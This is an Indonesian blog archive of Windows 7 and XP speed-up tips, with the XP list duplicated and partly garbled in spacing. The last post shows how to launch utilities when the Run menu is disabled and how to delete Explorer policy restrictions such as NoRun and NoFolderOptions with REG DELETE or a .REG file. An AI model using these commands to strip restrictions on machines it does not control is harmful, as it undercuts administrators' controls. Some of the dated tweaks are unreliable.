Cari Blog Ini

Jumat, 10 September 2010

mempercepat running win seven






Cara mempercepat windows 7 ? Apakah komputer Anda sekarang tidak cukup cepat? Pada beberapa artikel yang lalu saya menulis; Cara Sederhana Mempercepat Windows 7 dimana didalamnya ada 3 trik mempercepat windows 7. Kali ini saya tawarkan lagi 6 trik lanjutannya. Artikel ini adalah lanjutannya sebagai bagian yang kedua. Seluruhnya sebenarnya ada 3 serial dan akan saya tuntaskan dalam artikel ketiga nanti.
Inilah langkah-langkahnya;
  1. Bersihkan sistem dari program berbahaya. Program berbahaya dapat datang dalam berbagai bentuk, virus komputer dapat menyebabkan kerusakan yang signifikan terhadap sistem operasi komputer, mereka juga dapat menyerang privasi pengguna. Worm komputer menurunkan kinerja komputer dengan mereplikasi diri sendiri kemudian mengurangi ruang harddisk dan memori komputer. Anda harus menggunakan antivirus terbaik yang efisien dan menjalankan scan komputer. Beberapa antivirus gratis terbaik yang saya rekomendasikan; (1). Microsoft Security Essentials, (2). Avast, (3). Avira AntiVir.
  2. Pastikan pilihan “high performance” telah diatur. Dalam Windows 7 dan Vista, konfigurasi default biasanya diatur ke “balanced”. Jika Anda ingin mendapatkan kinerja terbaik, atur setting menjadi ” high performance”. Fasilitas ini dapat Anda akses dengan masuk ke [control panel > hardware and sound > power options]. Pilih “high performance” lalu Anda keluar dari jendela itu.
  3. Singkirkan program dan file yang tidak perlu. Mungkin dalam komputer Anda sudah terlalu banyak program terinstall. Mungkin ada yang hanya dipajang saja dan tidak berguna. Silakan masuk ke fitur uninstall dengan mengklik [Start Menu > Control Panel > Uninstall a Program]. Silakan uninstall program yang tidak perlu. Sangat penting untuk tidak menginstal program yang hanya akan Anda gunakan satu atau dua kali.
  4. Nonaktifkan/hapus entri startup yang tidak perlu. Segera setelah Anda memulai sistem operasi Windows apa pun, Anda akan melihat bahwa beberapa program muncul di sudut kanan taskbar. Ini disebut program-program startup. Non-aktifkan saja yang tidak perlu. Silakan klik [Start] lalu ketik [msconfig] kemudian [Enter]. Klik tab [Startup] dan hilangkan tanda centang pada program yang menurut Anda tidak perlu diloading saat komputer startup. CATATAN: Jangan menonaktifkan program startup yang tidak Anda pahami benar.
  5. Konfigurasi performance setting. Anyway, Windows Vista dan 7 pasti lebih menarik secara visual dibandingkan dengan versi Windows yang lebih tua. Untuk mengatur perfoormance, silakan klik kanan ikon [My computer > Properties > Advanced system settings >Performance Settings]. Anda bisa disable semua dengan memilih [Adjust for best performance]. Pengaturan ini diyakini dapat mempercepat windows 7.
  6. Melakukan pembersihan hard disk secara rutin. Anda dapat menghindari langkah ini jika Anda menggunakan program pihak ketiga yang populer misalnya CCleaner. Tetapi jika Anda tidak menggunakan program pembersih apapun silakan gunakan disk cleanup bawaan windows. Klik [Start Menu > All programs > Accessories > System tools > Disk cleanup]. Lakukan pembersihan seperlunya.

cara ke dua mempercepat running win xp

Berikut ini terdapat tips2 yang diambil dari artikel pakar luar negeri:
1.  Untuk  menurunkan  waktu  booting  dan  meningkatkan  performa,  tidak  usah
menggunakan  software d efrag pihak ketiga, gunakan saja perangkat Defragmenter yang
buatan  (built-in)  Windows,  tidak  akan  jauh  beda.  Dan  juga,  sebaiknya  menggun akan
Harddisk dengan tipe Ultra-133 atau Serial ATA (SATA) dengan buffer 8-MB.

2.  Jika  RAM  PC  kurang  dari  512 MB,  maka sebaiknya  ditambah  kapasitas  memorinya.
Hal  ini  relatif  tidak  mahal  dan  akan  membantu  meningkatkan  performa  sistem  Anda
secara dramatis.
3. Pastikan file system yang digunakan Windows XP adalah NTFS. Cara memeriksan ya:
a. Buka Windows Explorer (My Computer)
b. Klik kanan pada drive C:
c. Klik Properties.
Kalau  ternyata  file  system  Anda  menggunakan  FAT32,  maka  untuk  mengub ahnya
adalah dengan cara sebagai berikut:
- Backup data-data penting dulu ya.
- Klik Start > Run > ketik CMD
- Setelah muncul jendela Command Prompt, ketik:
Code:
CONVERT C: /FS:NTFS
Catatan:  Komputer  jangan  disela  ketika  melakukan  konversi  ini,  dan  juga  dalam
keadaan  bebas dari virus.  File  system yang  digunakan oleh drive bootable  (biasanya  C:)
bisa  FAT32  atau  NTFS.  Saya  sangat  merekomendasikan  untuk  menggunakan  NTFS
demi keamanan superior,  ketahanan dan efisiensi ruang yang lebih besar.
4.  Non  aktifkan  File  Indexing.  Layanan  File  Index ing  mengekstraksi  in formasi  dari
dokumen-dokumen  dan  file-file  lainnya  yang  ada  pada  harddisk  dan  membuat  sebuah
"search able  keyword  index"  (index   keyword  pen carian).  Bisa  dibayangkan  proses  ini
sangat memberatkan sistem.
Cara kerjanya sbb:
Seorang  user  mencari  kata,  frase,  atau  properti  sebuah  dokumen,  dari
dokumen-dokumen  yang  jumlahnya  ratusan  atau  ribuan  dan  ia  tidak  tahu  nama  dari
dokumen yang dicari. Windows  XP dengan fun gsi built-in search masih bisa  melakukan
berbagai  macam  jenis  pencarian  tanpa  melibatkan  Indexing  Service.  Tapi  agak  lebih
lama.  Sistem  Operasi  harus  membuka  tiap  file  ketika  diminta  tolong  mencari apa  yang
user inginkan.
Keban yakan orang tidak membutuhkan fitur pencarian ini. Yang biasanya membutuhkan
adalah  lingkungan  perusahaan  yang  besar  dimana  ribuan  dokumen  diletakkan  pada
paling  tidak  satu  server.  Akan  tetapi  jika  hanya  semacam  system  builder,  yang
kebanyakan  kliennya  adalah  bisnis  kecil  dan  menengah,  dan  jika  para  klien  tidak
membutuhkan  fitur  tersebut,  saya  rekomendasikan  supaya  mendisfu ngsikannnya
(disable) layanan tersebut.
Caranya Mendisfungsikann ya:
a. Buka Windows Explorer (My Computer)
b. Klik kanan pada drive C:
c. Pilih Properties
d.  Hilangkan  tanda  centang  (checklist)  "Allow  Indexing  Service  to  index  this  disk  for
fast file searching."
e. Klik tombol Apply, muncul: apply changes to "C: subfolders and files"
f. Klik tombol OK.
Jika ada  pesan  peringatan atau  error muncul (seperti  "Access  is  denied"),  klik  tombol
Ignore All.
5.  Update  driver  VGA  dan  chipset  motherboard,  termasuk  update  B IOS  dan
konfigurasinya. Carilah info-info tentang konfigurasi BIOS secara tepat di internet.
6. Kosongkan folder Prefetch windows setiap 3 bulan atau lebih.
Windows  XP  merekam  sebagian  dari  data  atau  aplikasi  yang  sering  digunakan  agar
membuat  proses  load  kelihatan  lebih  cepat  ketika  dipanggil  oleh  user.  Hal  ini  bagus,
tetapi  untuk  waktu  yan g  lama,  folder  prefetch  bisa  jadi  kelebihan  muatan  referensi  file
dan  aplikasi  yang  tidak  lagi  digunakan.  Jika  hal  itu  terjadi,  Windows  XP  akan
membuang-buang  waktu  dan  memperlambat  per forma  sistem,  ketika  melakukan  load
aplikasi atau file. Tidak ada yang penting dalam folder tersebut, dan seluruh isinya aman
untuk dihapus.
Folder tersebut terletak di: C:¥WINDOWS¥Prefetch¥
7. Sekali sebulan jalankan disk cleanup.
Caranya:
a. Buka Windows Explorer (My Computer)
b. Klik kanan pada drive C:
c. Pilih Properties
d. Klik tombol Disk Cleanup dan delete semua file temporer.
8.  Pada  Device  Manager,  klik  gand a  pada  IDE  ATA/ATAPI  Controllers  device,  dan
pastikan  DMA  di-enable  (diaktifkan)  untuk  tiap  drive  yang  terhubung  ke  Primary
Controller dan atau Secondary controller.
Lakukan hal ini dengan cara:
a. Klik ganda pada Primary IDE Channel. kemudian klik tab Advance Settings.
b.  Pastikan  Transfer  Mode  -nya  diset  pada  "DMA  if  Available"  untuk  kedua  Device  0
dan Device 1.
c. Lakukan hal serupa pada Secondary IDE Channel.
9. Upgrade Pengkabelan.
Untuk peningkatan teknologi harddisk, dibutuhkan pengak abelan yang  akan  mendorong
performa lebih baik.
Pastikan  untuk  menggunakan  kabel  80-wire  Ultra-133  untuk  semua  device  IDE  dan
gunakan konektor yang cocok dengan socket Master/Slave/Motherboard.
Kalo  Device-n ya  cuma  satu,  harus  dihubungkan  pada  konektor  yang  paling  ujun g  dari
kabel pita (kabel data),  jangan pada  konektor  yang di tengah  kabel pita, jika tidak, maka
akan  terjadi  masalah  sin yal.  Pada  harddisk  ultra  DMA,  masalah  sin yal  ini  bisa
mencegah harddisk memaksimalkan potensinya.
10. Buang semua spyware dari komputer.
Gunakan  program  gratisan  seperti  AdAware  buatan  Lavasoft  atau  SpyBot  Search  &
Destroy.  Setelah  program  ini  terinstal,  pastikan  untuk  melakukan  cek  update  dan
mendownloadnya jika ada, sebelum melakukan p encarian spyware di komputer.
Apapun  program  yang  ditemukan  bisa  dihapus  secara  aman.  Semua  program  gratisan
yang  meminta  spyware  untuk  dijalankan  tidak  akan  berfungsi  lagi.  Jika
program-program gratisan itu masih dibutuhkan tinggal instal lagi saja.
11.  Bu ang  semua  program  atau  item  yan g  tidak  perlu  dari  rutin  (routin)  Windows
Startup dengan menggunakan utilitas MSCONFIG.
Caranya:
a. Klik Start > Run > ketik MSCONFIG > klik OK
b. Klik tab StartUp ?> kemudian  hilangkan checklist (tanda  centang) dari program yangtidak diinginkan.
Tidak paham  dengan  item-item  tersebut?  Kunjungi  WinTasks  Process  Library.  Situs  itu
memuat  proses  sistem,  aplikasi  yang  diketahui  dan  juga  tentang  refer ensi  spyware  dan
penjelsann ya.  Atau  bisa  diidentifikasi  nama  item-item  tersebut secara  langsung  dengan
menggunakan google.
12. Buang semua  program yang tidak digunakan  dari  Add/Remove Programs di Control
Panel.
13.  Matikan  beberapa  atau  semua  animasi  yan g  tidak  dibutuhkan  dan  nonaktifkan
(disable) active desktop.
Pada  kenyataannya,  untuk  optimasi  performa,  matikan  semua  animasi.  Windows  Xp
menawarkan banyak setting-setting yang berbeda pada bagian ini.
Caranya:
a. Klik System Icon di Control Panel
b. Klik tab Advance
c. Klik tombol Settings pada kotak Performance.
d. Hilangkan checklist (tanda centang) opsi apa saja yang tidak ingin dijalankan.
Atau bisa langsung klik pada Radio Button: Adjust for best performance.
14.  Kalo  bisa  mengedit  Registry  Windows  XP,  lakukan  untuk  meningkatkan  per forma
XP.
Bisa  menggunakan  software  tweak  atau  manual  mengedit  registry.  Di  internet  sudah
banyak tersebar.
15.  Kunjungi situs  update Microsoft Windows secara rutin  dan download semua update
yang berlabel Critical.
Download  juga  Optional  update  yang  dibutuhkan.  (ingat,  kalau  software  OS  windows
XP  -nya  b ajakan,  jangan  coba-coba  untuk  mengupdate,  bisa  dikasih  "stempel"  tanda
bajakan  sama  Microsoft  yang  justru  akan  memperlambat  sistem  ketika  booting  dan
running).
16.  Update  anti  virus  dalam  sepekan  sekali  atau  bahkan  harian.  Pastikan  han ya  satu
software  yang  terinstal.  Menggabungkan  lebih  dari  satu  antivirus  hanya  akan
mengundang pen yakit bagi performa dan kahandalan komputer.
17. Pastikan font  yan g  terinstal kurang dari  500 jenis saja pada komputer. Makin banyak
font,  makin  lambatlah  sistem.  Walaupun  windows  XP  lebih  efisien  d alam  menangani
font  dari  pada  versi sebelumn ya, tapi kelebihan font akan berdampak  pada  melemahnya
sistem.
18. Jangan partisi harddisk. (Opsional saja)

NTFS  File System Windows  XP  berjalan lebih  efisien pada  satu partisi yan g  besar.  Data
tidak  lebih  aman  pada  partisi  terpisah,  dan  format  ulang  tidak  dibutuhkan  untuk  instal
ulang  Sistem  Operasi  (OS).  Satu  partisi  ini  berfungsi  agar  tidak  ada  pembatasan  oleh
partisi  akan  tetapi  akan  dibatasi  oleh  ukuran  kapasitas  harddisk  itu  sendiri.  Sehingga
tidak  perlu  melakukan  r esize  partisi  yang  meghabiskan  waktu  dan  resiko  kehilangan
data.
19.  Lakukan  pengecekan  terhadap  sistem  RAM  untuk  memastikan  beroperasi  dengan
baik.
Saya merekomendasikan untuk menggunakan program gratisan MemTest86.
Setelah  didownload,  bisa  membuat  bootable  CD  atau  disket  (sesuai  pilihan)  yang  akan
melakukan  10  macam  tes  pada  memory  PC  secara  otomatis  setelah  malakukan  boot
dengan  CD  atau  disket  yang  dibuat.  Biarkan  semua  tes  berjalan  sampai  paling  tidak
melewati  3  tes  selesai  dari  10  tes.  Jika  program  mendapati  error,  matikan  dan  cabut
listrik  komputer,  cabut  RAM  memory,  ganti  dengan   yang  lain  dan  lakukan  tes  lagi.
Ingat, memory yang rusak tidak bisa diperbaiki, dan hanya bisa diganti.
20. Jika terdapat CD atau DVD recorder /  writer, carilah update firmware  dari pabriknya.
Pada beberap a kasus, upgrade terbukti bisa mempercepat r ecorder  tersebut dan biasanya
gratis.
21. Non aktifkan (disable) service (layanan) yan g tidak penting.
Windows  XP  memasang  banyak  service  yan g  tidak  dibutuhkan.  Untuk  menentukan
service  apa  saja  yang  tidak  dibutuhkan,  buka  situs  Black  Viper  untuk  konfigurasi
Windows XP.
22.  Jika  tampilan  tunggal  Windows  Ex plorer  mengalami  masalah  ketika  menampilkan
file dan menghambat sistem operasi, lakukan langkah berikut:
a. Buka My Computer
b. Klik Tools
c. Klik Folder Options?
d. Klik tab View
e.  Geser  /  gulun g  ke  bawah  menuju  "Launch  folder  windows  in  a  separate  process",
aktifkan opsi ini. Setelah komputer di-restart, opsi ini akan berjalan.
23.  Setidaknya  sekali  setahun,  buka  casing  komputer  dan  bersihkan  semua  debu  dan
"puing-puingnya".  Sementara  itu  cek  juga  kipasnya,  apakah  putarannya  masih
proporsional.

Cara Mempercepat system windows XP






1. Untuk menurunkan waktu booting dan meningkatkan performa, tidak usah menggunakan software defrag pihak ketiga, gunakan saja perangkat Defragmenter yang buatan (built-in) Windows, tidak akan jauh beda. Dan juga, sebaiknya menggunakan Harddisk dengan tipe Ultra-133 atau Serial ATA (SATA) dengan buffer 8-MB.
2. Jika RAM PC kurang dari 512 MB, maka sebaiknya ditambah kapasitas memorinya. Hal ini relatif tidak mahal dan akan membantu meningkatkan performa sistem Anda secara dramatis.
3. Pastikan file system yang digunakan Windows XP adalah NTFS. Cara memeriksanya:
a. Buka Windows Explorer (My Computer)
b. Klik kanan pada drive C:
c. Klik Properties.
Kalau ternyata file system Anda menggunakan FAT32, maka untuk mengubahnya adalah dengan cara sebagai berikut:
- Backup data-data penting dulu ya.
- Klik Start > Run > ketik CMD
- Setelah muncul jendela Command Prompt, ketik:
Code:
CONVERT C: /FS:NTFS
Catatan: Komputer jangan disela ketika melakukan konversi ini, dan juga dalam keadaan bebas dari virus. File system yang digunakan oleh drive bootable (biasanya C bisa FAT32 atau NTFS. Saya sangat merekomendasikan untuk menggunakan NTFS demi keamanan superior, ketahanan dan efisiensi ruang yang lebih besar.

4. Non aktifkan File Indexing. Layanan File Indexing mengekstraksi informasi dari dokumen-dokumen dan file-file lainnya yang ada pada harddisk dan membuat sebuah “searchable keyword index” (index keyword pencarian). Bisa dibayangkan proses ini sangat memberatkan sistem.
Cara kerjanya sbb:
Seorang user mencari kata, frase, atau properti sebuah dokumen, dari dokumen-dokumen yang jumlahnya ratusan atau ribuan dan ia tidak tahu nama dari dokumen yang dicari. Windows XP dengan fungsi built-in search masih bisa melakukan berbagai macam jenis pencarian tanpa melibatkan Indexing Service. Tapi agak lebih lama. Sistem Operasi harus membuka tiap file ketika diminta tolong mencari apa yang user inginkan.
Kebanyakan orang tidak membutuhkan fitur pencarian ini. Yang biasanya membutuhkan adalah lingkungan perusahaan yang besar dimana ribuan dokumen diletakkan pada paling tidak satu server. Akan tetapi jika hanya semacam system builder, yang kebanyakan kliennya adalah bisnis kecil dan menengah, dan jika para klien tidak membutuhkan fitur tersebut, saya rekomendasikan supaya mendisfungsikannnya (disable) layanan tersebut.
Caranya Mendisfungsikannya:
a. Buka Windows Explorer (My Computer)
b. Klik kanan pada drive C:
c. Pilih Properties
d. Hilangkan tanda centang (checklist) “Allow Indexing Service to index this disk for fast file searching.”
e. Klik tombol Apply, muncul: apply changes to “C: subfolders and files”
f. Klik tombol OK.
Jika ada pesan peringatan atau error muncul (seperti “Access is denied”), klik tombol Ignore All.
5. Update driver VGA dan chipset motherboard, termasuk update BIOS dan konfigurasinya. Carilah info-info tentang konfigurasi BIOS secara tepat di internet.
6. Kosongkan folder Prefetch windows setiap 3 bulan atau lebih.
Windows XP merekam sebagian dari data atau aplikasi yang sering digunakan agar membuat proses load kelihatan lebih cepat ketika dipanggil oleh user. Hal ini bagus, tetapi untuk waktu yang lama, folder prefetch bisa jadi kelebihan muatan referensi file dan aplikasi yang tidak lagi digunakan. Jika hal itu terjadi, Windows XP akan membuang-buang waktu dan memperlambat performa sistem, ketika melakukan load aplikasi atau file. Tidak ada yang penting dalam folder tersebut, dan seluruh isinya aman untuk dihapus.
Folder tersebut terletak di: C:\WINDOWS\Prefetch\
7. Sekali sebulan jalankan disk cleanup.
Caranya:
a. Buka Windows Explorer (My Computer)
b. Klik kanan pada drive C:
c. Pilih Properties
d. Klik tombol Disk Cleanup dan delete semua file temporer.
8. Pada Device Manager, klik ganda pada IDE ATA/ATAPI Controllers device, dan pastikan DMA di-enable (diaktifkan) untuk tiap drive yang terhubung ke Primary Controller dan atau Secondary controller.
Lakukan hal ini dengan cara:
a. Klik ganda pada Primary IDE Channel. kemudian klik tab Advance Settings.
b. Pastikan Transfer Mode -nya diset pada “DMA if Available” untuk kedua Device 0 dan Device 1.
c. Lakukan hal serupa pada Secondary IDE Channel.
9. Upgrade Pengkabelan.
Untuk peningkatan teknologi harddisk, dibutuhkan pengakabelan yang akan mendorong performa lebih baik.
Pastikan untuk menggunakan kabel 80-wire Ultra-133 untuk semua device IDE dan gunakan konektor yang cocok dengan socket Master/Slave/Motherboard.
Kalo Device-nya cuma satu, harus dihubungkan pada konektor yang paling ujung dari kabel pita (kabel data), jangan pada konektor yang di tengah kabel pita, jika tidak, maka akan terjadi masalah sinyal. Pada harddisk ultra DMA, masalah sinyal ini bisa mencegah harddisk memaksimalkan potensinya.
10. Buang semua spyware dari komputer.
Gunakan program gratisan seperti AdAware buatan Lavasoft atau SpyBot Search & Destroy. Setelah program ini terinstal, pastikan untuk melakukan cek update dan mendownloadnya jika ada, sebelum melakukan pencarian spyware di komputer.
Apapun program yang ditemukan bisa dihapus secara aman. Semua program gratisan yang meminta spyware untuk dijalankan tidak akan berfungsi lagi. Jika program-program gratisan itu masih dibutuhkan tinggal instal lagi saja.
11. Buang semua program atau item yang tidak perlu dari rutin (routin) Windows Startup dengan menggunakan utilitas MSCONFIG.
Caranya:
a. Klik Start > Run > ketik MSCONFIG > klik OK
b. Klik tab StartUp ?> kemudian hilangkan checklist (tanda centang) dari program yang tidak diinginkan.
Tidak paham dengan item-item tersebut? Kunjungi WinTasks Process Library. Situs itu memuat proses sistem, aplikasi yang diketahui dan juga tentang referensi spyware dan penjelsannya. Atau bisa diidentifikasi nama item-item tersebut secara langsung dengan menggunakan google.
12. Buang semua program yang tidak digunakan dari Add/Remove Programs di Control Panel.
13. Matikan beberapa atau semua animasi yang tidak dibutuhkan dan nonaktifkan (disable) active desktop.
Pada kenyataannya, untuk optimasi performa, matikan semua animasi. Windows Xp menawarkan banyak setting-setting yang berbeda pada bagian ini.
Caranya:
a. Klik System Icon di Control Panel
b. Klik tab Advance
c. Klik tombol Settings pada kotak Performance.
d. Hilangkan checklist (tanda centang) opsi apa saja yang tidak ingin dijalankan.
Atau bisa langsung klik pada Radio Button: Adjust for best performance.
14. Kalo bisa mengedit Registry Windows XP, lakukan untuk meningkatkan performa XP.
Bisa menggunakan software tweak atau manual mengedit registry. Di internet sudah banyak tersebar.
15. Kunjungi situs update Microsoft Windows secara rutin dan download semua update yang berlabel Critical.
Download juga Optional update yang dibutuhkan. (ingat, kalau software OS windows XP -nya bajakan, jangan coba-coba untuk mengupdate, bisa dikasih “stempel” tanda bajakan sama Microsoft yang justru akan memperlambat sistem ketika booting dan running).
16. Update anti virus dalam sepekan sekali atau bahkan harian. Pastikan hanya satu software yang terinstal. Menggabungkan lebih dari satu antivirus hanya akan mengundang penyakit bagi performa dan kahandalan komputer.
17. Pastikan font yang terinstal kurang dari 500 jenis saja pada komputer. Makin banyak font, makin lambatlah sistem. Walaupun windows XP lebih efisien dalam menangani font dari pada versi sebelumnya, tapi kelebihan font akan berdampak pada melemahnya sistem.
18. Jangan partisi harddisk. (Opsional saja)
NTFS File System Windows XP berjalan lebih efisien pada satu partisi yang besar. Data tidak lebih aman pada partisi terpisah, dan format ulang tidak dibutuhkan untuk instal ulang Sistem Operasi (OS). Satu partisi ini berfungsi agar tidak ada pembatasan oleh partisi akan tetapi akan dibatasi oleh ukuran kapasitas harddisk itu sendiri. Sehingga tidak perlu melakukan resize partisi yang meghabiskan waktu dan resiko kehilangan data.
19. Lakukan pengecekan terhadap sistem RAM untuk memastikan beroperasi dengan baik.
Saya merekomendasikan untuk menggunakan program gratisan MemTest86.
Setelah didownload, bisa membuat bootable CD atau disket (sesuai pilihan) yang akan melakukan 10 macam tes pada memory PC secara otomatis setelah malakukan boot dengan CD atau disket yang dibuat. Biarkan semua tes berjalan sampai paling tidak melewati 3 tes selesai dari 10 tes. Jika program mendapati error, matikan dan cabut listrik komputer, cabut RAM memory, ganti dengan yang lain dan lakukan tes lagi. Ingat, memory yang rusak tidak bisa diperbaiki, dan hanya bisa diganti.
20. Jika terdapat CD atau DVD recorder / writer, carilah update firmware dari pabriknya. Pada beberapa kasus, upgrade terbukti bisa mempercepat recorder tersebut dan biasanya gratis.
21. Non aktifkan (disable) service (layanan) yang tidak penting.
Windows XP memasang banyak service yang tidak dibutuhkan. Untuk menentukan service apa saja yang tidak dibutuhkan, buka situs Black Viper untuk konfigurasi Windows XP.
22. Jika tampilan tunggal Windows Explorer mengalami masalah ketika menampilkan file dan menghambat sistem operasi, lakukan langkah berikut:
a. Buka My Computer
b. Klik Tools
c. Klik Folder Options?
d. Klik tab View
e. Geser / gulung ke bawah menuju “Launch folder windows in a separate process”, aktifkan opsi ini. Setelah komputer di-restart, opsi ini akan berjalan.
23. Setidaknya sekali setahun, buka casing komputer dan bersihkan semua debu dan “puing-puingnya”. Sementara itu cek juga kipasnya, apakah putarannya masih proporsional.
24. Nonaktifkan Paging File
Jika mempunyai RAM besar, kita dapat memaksa Windows untuk menyimpan langsung ke memory bukan ke paging file. Caranya sebagai berikut :
Buka regedit -> lalu masuk : HKEY_LOCAL_MACHINE\SYSTEM\CURRENTCONTROLSET\CONTROL\SESSION MANAGER\MEMORY MANAGEMENT
Lalu pada DIsablePagingExecutive nya pilih : 1 (defaultnya 0)
25. Jika menggunakan NTFS, matikan timestamp
Caranya adalah mematikan timestamp . yaitu :
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\FileSystem
“NtfsDisableLastAccessUpdate”=dword:00000001
“NtfsDisable8dot3NameCreation”=dword:00000001
26. Mengunload DLL aplikasi yang sudah di close
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\AlwaysUnloadDLL
and set the “Default” string to “1″
27. Mempercepat browsing folder
Pada saat kita membuka folder, XP secara otomatis mencari file network dan printer, sehingga terjadi delay sebentar. Untuk mematikan fitur ini caranya adalah
1. Open My Computer
2. Click on Tools menu
3. Click on Folder Options
4. Click on the View tab.
5. Uncheck the Automatically search for network folders and printers check box
6. Click Apply
7. Click Ok
8. Reboot your computer
28. Matikan sound
Ketika startup atau shutdown, fitur sound akan sedikit memperlambat karena windows harus meload file sound terlebih dahulu. Cara untuk mematikannya
1. Open Control Panel
2. click on Sounds and Audio Devices.
3. Sounds tab
4. Program Events -> Exit Windows.
5. Open Sounds drop-down
6. choose None
7. Apply
Semoga bermanfaat Terima kasih

Cara Mempercepat system windows 7

  1. Singkirkan Font yang tidak digunakan. Kecuali anda bekerja di bagian percetakan, ada banyak sekali font yang tidak digunakan namun tetap di load saat anda menggunakan Windows 7. Hal ini menyebabkan berkurangnya kapasitas memory kosong yang sebenarnya dapat digunakan oleh proses lain. Untu menyingkirkan font yang tidak digunakan, ikuti langlah-langkah di bawah iniBuat folder baru sebagai folder backup font.
    • Buka control panel dan lanjutkan dengan membuka folder fonts.
    • Pilih font yang tidak biasa anda gunakan dan pindahkan ke folder backup yang telah anda buat tadi. Jangan menghapus font yang tidak anda gunakan karena mungkin pada saat yang lain anda membutuhkannya. Jika ingin mengaktifkan font yang telah anda pindah, hanya perlu mengembalikannya ke folder semula.
  2. Percepat waktu booting. System windows 7 akan booting lebih cepat jika anda menggunakan tips berikut ini.
    • Klik start, lanjutkkan dengan mengetik msconfig pada Start Search dan tekan tombol enter.
    • Klik tab Boot dan pergi ke bagian Advanced Options.
    • Ketik jumlah nomor processor yang digunakan saat proses pada kolom Number of Processors.
    • Klik Apply dan restart system untuk melihat efeknya.
  3. Nonaktifkan System Sound. Jika anda tidak tertarim menggunakan system sound, anda dapat menonaktifkannya dengan melakukan langkah di bawah ini. Hal ini akan mempercepat proses saat loading system.
    • Klik start, lanjutkkan dengan mengetik mmsys.cpl pada Start Search dan tekan tombol enter.
    • Buka tab Sound dan pilih No Sound pada pilihan yang ada.
    • Klik Apply untuk mengaplikasikannya dan restart Windows 7 anda.
  4. Nonaktifkan Index Search di Windows 7.
    • Klik start, lanjutkkan dengan mengetik services.msc pada Start Search dan tekan tombol enter.
    • Cari Windows Search, klik kanan dan kemudian dan nonaktifkan service tersebut.
  5. Nonaktifkan Service yang tidak digunakan. Beberapa service windows masih berjalan pada system meskipun kita sendiri tidak memerlukannya. Hal ini akan memakan memory yang sebenarnya dapat digunakan untuk proses lain yang lebih penting. Untuk menonkatifkan service yang tidak digunakan, ikuti petunjuk berikut ini.
    • Buka Start menu, All Programs dan kemudian lanjutkan ke Administrative Tools Options. Pilihan ini mungkin tidak ada jika anda login sebagai Guest, bukan sebagai admin.
    • Klik tab Advanced dan lihat nama service yang ada pada bagian bawah.
    • Hilangkan tanda check-box pada service yang tidak digunakan dan biarkan service yang masih anda gunakan.
    • Restart windows 7 untuk melihat efeknya.
  6. Kurangi Start-up Windows 7. Banyak apliaksi yang di-load secara otomatis oleh windows padahal anda sendiri jarang menggunakannya. Untuk menonaktifkan Start-up program, ikuti langkah berikut ini.
    • Klik start, lanjutkkan dengan mengetik msconfig pada Start Search dan tekan tombol enter.
    • Buka tab Startup.
    • Nonaktifkan start-up aplikasi yang tidak digunakan dan restart windows 7 anda.
Dari 6 tips di atas, sebenarnya masih banyak tips lain yang dapat anda gunakan untuk mempercepat system Windows 7 dengan catatan anda harus mengerti bagaimana system bekerja.
Ikuti terus tips dan trik menarik lainnya dengan selalu membaca update artikel di FastNCheap Blog. Selamat mencoba!

Rabu, 08 September 2010

Cara-cara Alternatif untuk Menjalankan Program









Umumnya kita mengklik ikon program yang ada di start menu atau di desktop untuk menjalankan program tertentu. Tetapi program-program utilitas tidak semuanya tersedia di start menu atau di desktop. Program-program ini (misalnya REGEDIT.EXE, CMD.EXE) biasanya dijalankan melalui menu Start > Run. Apa yang dapat kita lakukan seandainya menu Run tidak ada di start menu? Berikut beberapa alternatif menjalankan program tertentu dengan cara yang ‘tidak biasa’:
a. Memanfaatkan Windows Explorer
Jalankan program Windows Explorer, cari file program yang ingin dijalankan di folder C:\Windows, atau di C:\Windows\System, atau di C:\Windows\System32. Kemudian klik dua kali pada file program tersebut.
b. Memanfaatkan Command Prompt (CMD.EXE)
= Klik Start > Programs > Accessories > Command Prompt, atau jalankan CMD.EXE dengan cara pertama di atas.
= Ketikkan nama program yang ingin dijalankan, kemudian tekan enter.
C:\Documents and Settings\mr. orche!>REGEDIT
c. Menggunakan Batch File
= Jalankan Notepad melalui start menu atau melalui Windows Explorer.
= Ketik nama program yang ingin dijalankan, misalnya “REGEDIT” (tanpa tanda petik).
= Simpan file tersebut menggunakan ekstensi .bat, misalnya “TES.BAT”.
= Jalankan file .bat tersebut melalui Windows Explorer (klik dua kali).
d. Menggunakan Task Manager (TASKMGR.EXE) (Windows XP)
= Tekan Ctrl + Alt + Del.
= Klik tombol [New Task…] pada tab Applications.
= Ketikkan nama program, lalu tekan enter.
e. Memanfaatkan Browser File pada ACDSee
= Jalankan ACDSee dari Start Menu.
= Cari file program yang ingin dijalankan di jendela browser file.
= Klik dua kali pada file program tersebut.
2. Cara-cara Alternatif Operasi Registry
Jika REGEDIT tidak dapat dijalankan, operasi registry masih dapat dilakukan dengan beberapa alternatif berikut:
Alternatif 1: Menggunakan perintah REG
1. Jalankan Command Prompt (CMD.EXE).
2. Untuk melihat daftar key dan value, gunakan perintah REG QUERY lokasikey.
Contoh:
REG QUERY HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
REG DELETE HCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
3. Ketikkan REG DELETE namakey /V namavalue untuk menghapus value tertentu.
Contoh:
REG DELETE HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /V NoRun
REG DELETE HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /V NoFolderOptions
Catatan:
= Nama root harus disingkat, HKCR untuk HKEY_CLASSES_ROOT, HKLM untuk HKEY_LOCAL_MACHINE, HKCU untuk HKEY_CURRENT_USER, HKU untuk HKEY_USERS, dan seterusnya.
= Untuk nama key yang mengandung spasi, nama key diapit dengan tanda petik ganda.
= Untuk mengetahui tatacara operasi selengkapnya menggunakan perintah REG, ketikkan “REG /?” tanpa tanda petik.
Alternatif 2: Menggunakan file .REG
1. Jalankan Notepad dan ketikkan seperti contoh berikut:
Format baru (WinXP):
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
“NoFolderOptions”=dword:00000000
Format lama (Win9X/NT):
REGEDIT4
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
“NoFolderOptions”=dword:00000000
2. Simpan file tersebut dengan ekstensi .REG, kemudian klik dua kali pada file .reg yang telah disimpan.
Penjelasan:
= Baris pertama, “Windows Registry Editor Version 5.00” atau “REGEDIT4”, adalah aturan baku untuk menandai file registry.
